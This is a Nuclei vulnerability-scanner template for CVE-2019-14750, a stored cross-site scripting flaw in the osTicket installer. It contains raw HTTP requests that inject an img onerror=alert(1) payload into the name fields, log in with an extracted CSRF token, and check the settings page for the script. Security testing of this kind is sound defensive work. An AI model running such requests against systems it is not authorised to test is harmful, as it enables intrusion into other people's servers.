nuclei-templates/http/cves/2019/CVE-2019-14750.yaml

id: CVE-2019-14750

info:
  name: osTicket < 1.12.1 - Cross-Site Scripting
  author: TenBird
  severity: medium
  description: |
    An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Stored XSS exists in setup/install.php. It was observed that no input sanitization was provided in the firstname and lastname fields of the application. The insertion of malicious queries in those fields leads to the execution of those queries. This can further lead to cookie stealing or other malicious actions.
  reference:
    - https://packetstormsecurity.com/files/154005/osTicket-1.12-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14750
    - http://packetstormsecurity.com/files/154005/osTicket-1.12-Cross-Site-Scripting.html
    - https://github.com/osTicket/osTicket/commit/c3ba5b78261e07a883ad8fac28c214486c854e12
    - https://github.com/osTicket/osTicket/releases/tag/v1.10.7
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-14750
    cwe-id: CWE-79
    epss-score: 0.05309
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
    epss-percentile: 0.92085
  metadata:
    max-request: 4
    shodan-query: title:"osTicket"
    vendor: osticket
    product: osticket
  tags: packetstorm,cve,cve2019,osticket,xss,intrusive
variables:
  user_name: "{{to_lower(rand_text_alphanumeric(6))}}"
  user_pass: "{{rand_text_alphanumeric(12)}}"
  user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"

http:
  - raw:
      - |
        POST /upload/setup/install.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        s=install&name={{user_name}}&email={{user_email}}&lang_id=en_US&fname=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3B%3E&lname=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3B%3E&admin_email={{user_email}}&username={{user_name}}&passwd={{user_pass}}&passwd2={{user_pass}}&prefix=ost_&dbhost={{dbhost}}&dbname=tt&dbuser={{username}}&dbpass={{password}}&timezone=Asia%2FTokyo
      - |
        GET /upload/scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST /upload/scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{user_name}}&passwd={{user_pass}}&ajax=1
      - |
        GET /upload/scp/settings.php HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_4
        words:
          - '<img src=x onerror=alert(1);>'
          - 'getConfig().resolve'
        condition: and

      - type: word
        part: header_4
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true